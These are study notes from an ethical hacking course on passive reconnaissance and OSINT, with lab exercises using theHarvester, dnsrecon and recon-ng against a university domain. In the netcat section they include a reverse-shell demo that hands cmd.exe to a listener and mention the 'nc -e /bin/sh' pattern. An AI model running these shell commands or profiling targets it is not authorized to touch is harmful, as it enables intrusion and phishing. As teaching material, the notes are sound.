Week 2 - Passive Reconnaissance & OSINT
1. Foundations — Why Recon Comes First
A rushed recon phase leads to a blind, noisy, ineffective attack. A thorough one gives you a map.
Analogy: Recon is like scouting a building before a heist movie plan. A rushed scout might miss the side door; a patient one maps every entrance, camera, and guard shift — without ever setting foot inside.
Where recon sits in the attack lifecycle
Reconnaissance → Scanning → Exploitation → Post-Exploit
(you are here) (Week 3) (gain access) (persist/pivot)
Everything downstream depends on the quality of what you learn in this first phase.
| Why recon matters | Meaning |
|---|---|
| Shapes the attack surface | Reveals every point an attacker could target |
| Guides tool selection | Knowing the tech lets you pick the right approach |
| Reduces noise & risk | Patient passive work = less blind probing later |
| Builds the map | Turns an unknown target into a charted footprint |
OSINT is a connected system, not a list
Flow: Raw findings → Mapped to layers → Connected into structure → An actual map
Domains, IPs, certs, emails are just facts individually. The TCP/IP model is the conceptual anchor that organizes everything you discover into a coherent picture.
TCP/IP Model Overview (know this cold)
| DARPA | TCP/IP | OSI | Protocols/Service | Unit |
|---|---|---|---|---|
| Network Interface | Physical | Physical | Bits ↔ Physical | Bits/millivolts |
| Data Link | Data Link | IEEE 802.3 | Frame | |
| Network | Network | Network | IP/ICMP/IGMP | Packet |
| Transport | Transport | Transport | TCP/UDP | Segment/Datagram |
| Application | Application | Session | Sockets | Data |
| Presentation | Data Translation/XML | Data | ||
| Application | FTP/HTTP | Data |
Layer roles:
- L5 Application — apps requiring network comms (browser requests → web server)
- L4 Transport (TCP/UDP) — establishes connections between apps on different hosts
- L3 Network (IP) — creates packets, moves them via IP addresses
- L2 Data Link (MAC) — creates frames, moves them via MAC addresses
- L1 Physical — the transceiver; transmits/receives raw bits
Encapsulation, top to bottom (exam favorite — know the header fields):
- Application data (browser) — HTTPS request: Host, User-Agent, Content-Type, Connection headers, TLS-encrypted
- Transport (TCP) — ~14 header fields incl. source/dest ports (multiplexing), sequence/ack numbers (ordered delivery), flags & checksum → produces a segment
- Network (IP) — ~13 header fields incl. source/dest IP, TTL, total length, protocol, flags/checksum → produces a packet
- Data Link (Frame) — Ethernet 802.3: source/dest MAC, frame type, preamble/delimiter + frame footer (Frame Check Sequence) → produces a frame
- Physical — raw bits on the wire
The TCP/IP model — through a recon lens
| Layer | Protocols | What recon finds here |
|---|---|---|
| Application | HTTP·HTTPS·SMTP·DNS | Domains, certificates, email, web servers — most OSINT lives here |
| Transport | TCP·UDP | Ports & connections — this is active scanning territory (next week) |
| Internet | IP | IP ranges & hosting — infrastructure enumeration |
| Link | Physical/MAC | The local network reality — wire or wireless |
Mapping findings to layers:
- Domains & certificates → Application layer — the "front doors" a company exposes
- Email & web servers → Application layer — rich sources of detail people interact with daily
- IP ranges & hosting → Internet layer — the addressing/infrastructure underneath
Analogy: Building this picture is like reading a company's public directory sign, mailroom labels, and parking-lot layout — all from the sidewalk. You never had to walk inside.
2. OSINT in Real-World Engagements
OSINT = intelligence from publicly available, legally accessible data — public websites, DNS, registries, social media, code repos, breach dumps. You break into nothing, and send nothing to the target.
| Who uses it | How |
|---|---|
| Attackers | Quietly map people, systems, weak points before any contact |
| Defenders | Same techniques turned inward — see what an attacker sees, shut it down first |
| Real-world reality | Not academic — this is genuinely where professional testers and real adversaries begin |
| Legal, but scoped | Legitimate collection ≠ unlimited use — still bound by your engagement |
What OSINT reveals (starting from just an org name)
- Domains & subdomains (primary, dev, staging, legacy)
- TLS certificates (CT logs expose internal names)
- Email patterns (predict any employee's address)
- Tech stack (frameworks, cloud, 3rd-party)
- IP ranges & hosting (AWS/Azure/on-prem)
- Exposed accounts (breach & credential leaks)
All discoverable from public sources — without sending a single packet to the target.
OSINT in practice — public records talk
$ dig example.com ANY +noall +answer
example.com. A 93.184.216.34 # → hosting IP
example.com. MX 10 mail.example.com # → mail server
example.com. NS ns1.cloudprovider.net # → reveals provider
example.com. TXT v=spf1 include:_spf.. # → 3rd-party services
$ whois example.com | grep -i org
Registrant Org: Example Holdings Ltd
Admin Email: it-admin@example.com # → a real targetHandy dig query types (know what each returns):
dig <domain> A # IP address
dig <domain> MX # Mail servers
dig <domain> NS # Name servers (authoritative)
dig <domain> TXT # Text — SPF, verification, misc. 3rd-party info
dig <domain> CNAME # Alias
dig <domain> SOA # Start of AuthorityAll of this is still fully passive — answered by public third-party infrastructure, never the target itself.
OSINT is a structured methodology (4 stages)
- Collection — gather raw data from all public sources
- Analysis — correlate, connect pieces into intelligence
- Validation — verify (public data can be stale/wrong)
- Documentation — organize into clear, usable output
Analogy: Like being a detective — gather clues (Collection) → figure out how they connect (Analysis) → double-check for red herrings (Validation) → write the case file (Documentation).
A real-world OSINT chain (the power is in chaining)
- Start: an organisation name (your only input)
- → Public domain records reveal subdomains (a dev server, a staging env never meant to be public)
- → TLS certificates reveal internal services (certs must name what they protect)
- → Email format reveals predictable addresses (work out the pattern → target any employee)
No direct interaction required. No scanning, no probing, no logs, no alerts — a complete picture from public sources alone.
Ethics, Legality & OPSEC in OSINT — three non-optional principles
| Principle | Meaning |
|---|---|
| Legal ≠ ethical | Lawful to collect ≠ appropriate to use for anything. You still operate within scope and the spirit of your engagement |
| No deception | Passive OSINT = observing what's already public. Creating fake identities or tricking people crosses a line — ethically and often legally |
| Scope & OPSEC | Honour your RoE (may limit even passive recon); avoid attribution and unnecessary exposure — minimize your own footprint too |
3. Passive vs. Active Reconnaissance
Not two rigid boxes — a spectrum, from completely hands-off to increasingly direct.
◄ PASSIVE (never touch target) ————————————— probe directly (ACTIVE) ►
OSINT & public records → DNS/cert lookups → light service probing → full port scans
(invisible) (still quiet) (first contact) (loud, logged)
Side-by-side comparison (exam gold)
| PASSIVE | ACTIVE | |
|---|---|---|
| Contact | No contact with target | Direct probing of systems |
| Sources | Public records, DNS, breach data | Live hosts, ports, services |
| Detectability | Essentially invisible | Noisy — logged & alertable |
| Information | Limited to what's public | Detailed, current, confirmed |
| Authorization | Public data — low bar | Required — touching their systems |
| When | First — build the picture | Second — confirm & deepen |
The professional switch: start passive to find where to look, go active to confirm what's actually there.
The moment you go active, you're visible
| While passive | The instant you go active |
|---|---|
| Nothing reaches the target | Packets arrive at the target — every probe logged |
| No logs, no alerts | IDS/IPS can flag the pattern — scanning has a signature |
| Essentially zero risk | Requires authorization — without it, this is the criminal line |
| Profile freely, take your time | Best done selectively — only targets that truly matter |
The Door Analogy (intuitive spectrum model)
| Mode | Analogy | What happens |
|---|---|---|
| PASSIVE | Looking at the building | Observe from the street — nobody knows |
| Low-noise active | Trying the handle | A small, quiet probe — contact made |
| Aggressive active | Knocking it down | Loud, forceful — everyone knows |
Context and permission decide. The technique isn't good or bad in isolation — authorization is what makes it legitimate. Watching a public building is fine; forcing a door you may not enter is a crime.
4. Enumeration — Mapping the Full Footprint
Enumeration systematically widens one organisation name into its entire footprint. Productive because organisations expose far more than they realise — and forget what they've exposed.
Flow: Organisation name (1 input) → Primary + subdomains (dev/staging/legacy) → Certificates + services (internal hostnames via CT logs) → IPs, hosting, emails, people (full connected map)
| Reality check | Why enumeration works |
|---|---|
| Rarely one domain | The public site is the tip of the iceberg |
| Infra outgrows oversight | New services appear faster than they're secured |
| Forgotten systems linger | Unpatched, unmonitored — the classic way in |
Domain enumeration
- Primary & subdomains — the full set of named web properties, not just the main site
- Dev & staging environments — often far less secured than production; developers assume nobody will find them
- Legacy & forgotten services — stood up years ago, never decommissioned, unpatched, unmonitored → classic entry point
- Naming conventions — find
mail.andvpn.and you can guess other likely names — the pattern gives away the shape of the wider infrastructure
Email enumeration & identity exposure
Finding the pattern:
- Address format — learn
first.last(orf.last) → generate anyone's address - Public documents — staff pages, PDF metadata, press releases, professional networks
- Breach & leak data — addresses (and sometimes reused passwords) surface publicly
Why it's dangerous:
- Impersonation — pose convincingly as an insider/executive
- Precise targeting — aim at exactly the right people
- Phishing fuel — raw material for the attacks that begin most breaches
Certificate Transparency — a public goldmine
TLS certificates (the browser padlock) are secretly one of the richest recon sources. Every certificate ever issued is logged in open, searchable public logs.
Example — crt.sh search for %.example.com:
| CRT ID | Matching Identity | Issued |
|---|---|---|
| 9928… | www.example.com | 2024-01-12 |
| 9931… | mail.example.com | 2024-01-14 |
| 9945… | ⚠️ dev-internal.example.com | 2024-02-03 internal |
| 9950… | ⚠️ vpn-staging.example.com | 2024-02-08 internal |
| 9962… | ⚠️ jenkins.corp.example.com | 2024-02-19 internal |
| 9971… | api-gateway.example.com | 2024-03-01 |
- Certs name services — publicly declare the domains they secure
- CT logs are public and searchable — try
crt.sh, or Censys (platform.censys.io/search?q=<domain>) - Internal names leak — certs for internal hosts expose hidden services
- Permanent record — once issued, it's in the logs forever
Analogy: CT logs are like a public construction-permit database — even if a building (server) is meant to be hidden, the fact that a permit (certificate) was filed is on public record forever.
Infrastructure enumeration
| Element | What it reveals |
|---|---|
| IP address ranges | The blocks an org controls — scale/boundaries of their network |
| Hosting & cloud platforms | Where systems actually live — AWS/Azure/GCP/own datacenter — shapes which attacks even make sense |
| On-prem vs. cloud indicators | Different characteristics, different weaknesses |
| Third-party & outsourced services | External dependencies — often the weak link |
Correlation: where intelligence emerges
Individually, each finding is useful. Connected together, they become a multi-dimensional map.
Domain (example.com) ↔ Certificate (*.example.com)
Certificate ↔ Email (first.last@...)
Certificate ↔ IP address (93.184.216.34)
IP address ↔ Hosting (AWS us-east-1)
Email ↔ Person/role (IT admin)
Intelligence emerges from correlation. Individual data points are raw material — connecting them is what separates an amateur with notes from a professional with a picture.
Analogy: A single puzzle piece tells you almost nothing. Only when you connect dozens of pieces does the whole organisation's footprint become visible.
5. OSINT Tools — Automating Reconnaissance at Scale
Why automate?
| Manual OSINT doesn't scale | What tools add |
|---|---|
| Too many assets — infeasible by hand for hundreds of assets | Broad, fast coverage — query many sources quickly & consistently |
| Too much data — more than a human can cross-reference | Structured output — organized & correlatable, not scattered notes |
| Too slow — picture may have moved on by the time you finish |
Tools gather. You think. A tool hands you a thousand data points — deciding which ten matter is the skill. Never mistake running a tool for doing analysis.
theHarvester — the fast opening move
Often the very first thing you run. One command → rapid, broad picture in seconds, entirely from public sources.
What it does: enumerates domains/emails/hosts automatically; queries public sources (search engines, DBs, cert sources); fully passive; surfaces hidden assets (dev/staging hosts, email patterns).
theHarvester -d siit.tu.ac.th -b allSample output:
[*] Emails found: 5
admission@siit.tu.ac.th
fin@siit.tu.ac.th
...
[*] Hosts found: 123
*.siit.tu.ac.th
admissions.siit.tu.ac.th:203.131.209.90
alumni.siit.tu.ac.th:192.168.10.148
...
Missing API keys (bevigil, Censys, Github, Hunter, etc.) fail gracefully at runtime — the tool just skips those sources rather than crashing.
⚠️ Scenario discussion — dangling DNS records (subdomain takeover), a classic exam-style reasoning question:
- Scenario A: A DNS record for
logistics.siit.tu.ac.thstays after its service is torn down. Could an attacker "claim" it? No — you'd need to edit SIIT's DNS zone itself, which an outsider can't do. - Scenario B: Record is a CNAME →
somesite.appspot.com, and the appspot app is deleted. Could an attacker re-registersomesiteon App Engine and hijack the CNAME? To fully serve content onlogistics.siit.tu.ac.th, Google requires agoogle-site-verificationTXT record written into SIIT's own DNS zone — the _same_capability the attacker lacked in Scenario A. - Resolution: Both paths collapse to the same requirement — write access to the target's own DNS zone — which an outsider simply doesn't have.
Analogy: A dangling DNS record is like an old forwarding address left at the post office pointing to a demolished house — but nobody can actually redirect mail there unless they control the post office's forwarding system (the DNS zone) itself.
recon-ng — a framework approach
If theHarvester is a fast, focused scout, recon-ng is a full reconnaissance framework — modular and database-backed. Feels like Metasploit if you've used it.
| theHarvester | recon-ng |
|---|---|
| The scout — one fast command, broad initial sweep | The framework — deeper, organised, correlated investigation |
Features: modular (load specific modules for specific tasks); database-backed (stores/organizes all findings automatically); many sources from one consistent interface; correlation built in (findings from one module feed the next).
Walkthrough (from lecture demo):
# Set up workspace
workspaces create dummy
workspaces load dummy
# Explore & install modules
marketplace search
marketplace install hackertarget
modules load hackertarget
# Configure & run
show options
options set SOURCE siit.tu.ac.th
run
# View results
show hosts
# columns: rowid | host | ip_address | region | country | lat | long | notes | module
# Add an API key for a module that needs one
keys add shodan_api abc123⚠️ Limitations of OSINT tools (guaranteed exam point):
- Public data can be outdated, incomplete, or inaccurate — tools may return false positives
- Ethical hackers must ensure tool usage stays within engagement scope and legal boundaries
- OSINT tools are starting points, not final answers
6. 🖥️ Practical Foundations & LAB SECTION
Workshop philosophy: Observe, don't exploit. Build genuine literacy — see how systems communicate — not attack anything. Everything runs inside the isolated lab. This is groundwork for safe exploitation later, not exploitation itself.
SSH — the Secure Shell
Client ↔ 🔒 encrypted channel (port 22) ↔ SSH Server
↑
Server banner: SSH-2.0-OpenSSH_8.2p1 (reveals version)
| Concept | Meaning |
|---|---|
| Authentication | Proving WHO you are (valid credential) |
| Authorization | What you're PERMITTED to do once in |
Analogy: Authentication is showing your ID at the door; authorization is what rooms your keycard actually opens once inside.
- Encrypted remote access — how admins and attackers control machines securely
- Banner reveals version → an outdated banner is a target for known exploits
- High-value target for attackers precisely because it grants powerful, normal-looking control
Web servers leak intelligence by default
HTTP/1.1 200 OK
Date: Mon, 13 Jan 2025 …
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.24
X-AspNet-Version: 4.0.30319
Set-Cookie: PHPSESSID=…
X-Debug-Token: a1b2c3
Content-Type: text/htmlLeaked to attacker: exact server software, precise versions (→ look up known CVEs), framework in use, debug mode left enabled.
Real CVE-lookup example: a header showing Apache/2.4.49 → search nvd.nist.gov or exploit-db.com for that exact version → CVE-2021-41773 is a real, findable result.
Much of this is achievable through passive observation — just careful browsing / reading response headers.
File transfers — how data moves (and leaks)
| Protocol | Encrypted? | Port | What it means |
|---|---|---|---|
| FTP | ❌ cleartext | 21 | Credentials & data readable by anyone watching |
| Telnet | ❌ cleartext | 23 | Entire session plaintext — a gift to a sniffer |
| HTTP | ❌ cleartext | 80 | Content unencrypted — fine to intercept |
| SCP/SFTP | ✅ encrypted | 22 | Rides on SSH — encrypted end to end |
| HTTPS | ✅ encrypted | 443 | TLS-protected — safe from eavesdropping |
Exposed files are goldmines. Documents, backups, and config files left publicly reachable can hand you credentials outright.
Netcat — the networking Swiss Army knife
Simple raw connectivity — connect to any port, send raw data, read the unfiltered response.
$ nc 10.10.2.244 22
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8 # → the banner, raw
$ nc 10.10.2.244 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu) # → software + versionReverse-shell-style demo (listener + connector pattern):
# Kali listens
nc -lvnp 4444
# Windows connects and hands over cmd.exe
ncat 10.10.107.53 4444 -c cmd.exeAttempts like
nc -e /bin/sh ...or themkfifonamed-pipe trick are classic reverse-shell patterns you'll see referenced — they often need extra setup to actually work.
Analogy: Netcat is like a walkie-talkie you can point at any radio frequency (port) — it doesn't care what's on the other end, it just relays whatever comes back, raw and unfiltered.
Wireshark — seeing the network itself
A microscope for network traffic. The core lesson: watch a real password travel in readable cleartext vs. scrambled encrypted data.
CLEARTEXT (FTP / port 21) ENCRYPTED (SFTP / port 22)
USER admin ← readable a3f9!k2#x8..Qm@zL
PASS S3cr3t! ← readable! p9$wR7^nT4..vB2c
230 Login successful. ..encrypted payload..
→ anyone on the wire reads it → unreadable — nothing to steal
- Captures every packet — inspect any one in complete detail
- Reveals real protocol behavior on the wire
- Passive observation — watch and understand, not inject or attack
nikto & whoami — where the passive/active boundary actually falls
nikto.pl — crosses INTO active | whoami.exe — post-access recon |
|---|---|
| Scans web servers for known issues/misconfigs | "Which account am I?" — basic but essential |
| Actively probes — sends many requests (unlike just reading headers) | Value comes after access — first thing you check on a compromised box |
| Noisy, needs authorization — this is the active line | Situational awareness before you act |
The command line — Windows & Linux
| Windows | Linux/Kali | What it does |
|---|---|---|
dir | ls | List directory contents |
cd | cd / pwd | Change/show working directory |
copy | cp | Copy a file |
type | cat | Print file contents |
findstr | grep | Search text (learn grep well!) |
ipconfig | ifconfig | Interface IP configuration |
cacls | chmod/chown | Permissions & ownership |
more | less | Paginate long output |
Help yourself: Windows uses
/?; Linux uses-h/--helporman <command>. Never memorize flags — remember how to ask.
Redirection & pipes — composing tools
| Symbol | Meaning | Syntax |
|---|---|---|
> | Redirect output to a file | program > file |
< | Feed input from a file | program < file |
| | Pipe between programs | prog1 | prog2 |
A real OSINT pipeline in one line:
theHarvester -d example.com -b crtsh | grep email > emails.txtRun OSINT → filter to just emails → save to a file. Three simple tools, composed into real reconnaissance.
Analogy: Pipes are like an assembly line — each tool does one small job and passes its output straight to the next station.
More worked examples:
ps aux | grep ssh
ls -la > filedata.txt
netstat -tuln | grep LISTEN > listening_ports.txt
theHarvester -d example.com -b crtsh | grep email > emails.txt7. 🖥️ WEEK 2 WORKSHOP — OSINT & Reconnaissance (Full Lab Walkthrough)
Overview: Run three passive recon tools — theHarvester, dnsrecon, recon-ng — against siit.tu.ac.th, using each tool's own --help/-h (or man) to find the right flags. The point is learning to ask a tool what it can do, not memorizing commands.
⚠️ Scope & authorization: Everything here is passive OSINT — querying public third-party sources (search engines, DNS, cert logs), never the target's own systems. Only use a domain you're authorized on (the course target, a bug-bounty domain, or one you own). Never use active features — subdomain brute-forcing, DNS zone transfers, port/vulnerability scanning — without authorization.
Exercise 1 — theHarvester
Goal: Build a broad initial map — hosts, subdomains, emails — from at least two data sources that don't need an API key.
theHarvester -h # read the help first
theHarvester -d siit.tu.ac.th -b crtsh,hackertarget # crtsh & hackertarget need no API keyReport checklist:
- Screenshot of command + output
- 1–3 sentences on the org's email format (e.g.,
first.last@) and any dev/staging/forgotten hosts found
⚠️ Worked troubleshooting example (a realistic failure mode you may hit):
A run can fail at the connection stage rather than returning empty results — e.g.
crt.shfailing withCannot connect to host crt.sh:443 ... Connect call failed. If theHarvester also logs reading/etc/theHarvester/proxies.yaml, it may be trying to route through a misconfigured proxy rather than simply lacking internet access. Result: "No IPs found" / "No emails found" are connectivity failures, not genuine negative results — don't draw conclusions from them. Fix: confirm the Kali VM's adapter is in bridged mode with working internet (per Week 1), check the proxies file, then re-run.
Exercise 2 — dnsrecon
Goal: Enumerate DNS records — MX (mail servers), NS (name servers), A/AAAA (hosting), TXT (external providers/dependencies).
dnsrecon -h # read the help first
dnsrecon -d siit.tu.ac.th -t std # 'std' = standard passive record enumeration (SOA, NS, A, AAAA, MX, TXT, SPF) — no brute-forcingReport checklist:
- Screenshot of command + output
- 2–3 sentences: which external providers the org depends on, and whether it looks on-prem, cloud, or a mix
Worked example — how to actually interpret dnsrecon output:
- MX records point to
ASPMX.L.GOOGLE.COMandALT1–ALT4.ASPMX.L.GOOGLE.COM+ TXT recordv=spf1 include:_spf.google.com ~all→ strong direct evidence email is outsourced to Google Workspace (the SPF include is the org itself publicly declaring who may send mail as them) - Multiple
google-site-verificationTXT records → domain ownership verified for more than one Google product - Apex A/AAAA records resolve into Google Cloud Platform ranges, and one of four name servers also resolves there → partial cloud hosting
- The other three name servers sit in ranges consistent with a local ISP/institutional block, not a major cloud provider
- Conclusion pattern: this is a hybrid/mixed infrastructure — DNS & part of hosting on a local/ISP range, part cloud-hosted, email fully outsourced to Google Workspace
- DNSSEC records present (NSEC KSK/ZSK, ECDSAP256SHA256) → above-average DNS security hygiene
Exercise 3 — recon-ng
Goal: Run a small recon workflow — create a workspace, add the target, find/install/load/run at least one keyless module.
recon-ng's help is inside the console — type
help, and usehelponworkspaces,marketplace, andmodulescommands for exact syntax. Check a module'sinfobefore running (some need API keys — choose one that doesn't).
workspaces create siit
marketplace search hackertarget
marketplace install recon/domains-hosts/hackertarget
modules load recon/domains-hosts/hackertarget
options set SOURCE siit.tu.ac.th
run
show hostsReport checklist:
- Screenshots of workspace + results
- 2–3 sentences comparing recon-ng's framework approach vs. theHarvester's single command — which gave the broader sweep, which gave more structured data
⚠️ Worked troubleshooting example — a classic recon-ng mistake:
Running
options set SOURCE siit.tu.ac.thimmediately after installing the module (without loading it) fails with[!] Invalid option name. Why:options setonly recognizes option names belonging to whichever module is currently loaded into context — install ≠ load. Oncemodules load recon/domains-hosts/hackertargetis run (visible as the prompt changes from[recon-ng][siit] >to[recon-ng][siit][hackertarget] >), the sameoptions setcommand succeeds.
Worked example — interpreting show hosts results:
cco.siit.tu.ac.th→ resolves to a Google-owned IP → corroborates the Google Workspace/Cloud dependency from Exercise 2alumni.siit.tu.ac.th→ resolves to192.168.10.148, a private RFC 1918 address, not publicly routable. A public DNS record pointing to a private IP is either a misconfiguration or an internal-only host — either way, it leaks a fragment of the org's internal addressing scheme (here, a192.168.10.0/24range) to anyone doing passive enumeration, without ever touching the target's network
Tool comparison takeaway (a frequent exam-style question):
theHarvester's single command is designed to sweep multiple source types (hosts/subdomains/emails) at once — fast, but fragile if a source fails, breadth over structure. recon-ng needs more setup (workspace → install → load → configure → run) but produces more structured, queryable output (a
hoststable with per-record IPs) and is more resilient when a given source/run doesn't go as planned. Lesson: a single broad tool is convenient when everything works; a modular, database-backed framework is more resilient and easier to build on.
What to submit
- One PDF to the Week 2 Workshop assignment on Google Classroom
- For each exercise: screenshots + short supporting text
- Name + student ID at the top
- No other files to upload
8. Rapid-Fire Recall Table (Last-Minute Review)
| Concept | One-liner |
|---|---|
| Recon's place in lifecycle | Recon → Scanning → Exploitation → Post-Exploit — recon is first, shapes everything after |
| OSINT | Intelligence from public, legal sources — break into nothing, send nothing to target |
| Most OSINT lives at... | The Application layer (HTTP/HTTPS/SMTP/DNS) |
| 4-stage OSINT method | Collection → Analysis → Validation → Documentation |
| Passive vs. active — the line | The instant a packet reaches the target, you're visible and need authorization |
| Door analogy | Looking (passive) → trying the handle (low-noise active) → knocking it down (aggressive active) |
| Enumeration payoff | One org name → subdomains → certs → IPs/hosting/emails/people |
| Certificate Transparency | Every issued cert is in a public, permanent, searchable log (crt.sh) |
| Correlation | Isolated facts → connected = real intelligence (not just data) |
| theHarvester | Fast, single-command broad sweep — the "scout" |
| recon-ng | Modular, database-backed framework — like Metasploit for recon — the "framework" |
| recon-ng gotcha | install ≠ load — must modules load before options set will work |
| SSH | Encrypted (port 22); banner reveals version; auth = who you are, authorization = what you can do |
| Cleartext protocols | FTP (21), Telnet (23), HTTP (80) — readable by anyone watching |
| Encrypted protocols | SCP/SFTP (22, rides SSH), HTTPS (443, TLS) |
| Netcat | Raw TCP/UDP connections to any port — reads banners directly, minimal footprint |
| Wireshark | Packet-level microscope — passive observation, cleartext vs. encrypted is the core lesson |
| nikto | Crosses INTO active — sends many requests, noisy, needs authorization |
| whoami | Post-access recon — "which account am I" — situational awareness after access |
| Pipes/redirection | > write to file, < read from file, | chain programs — small tools composed into workflows |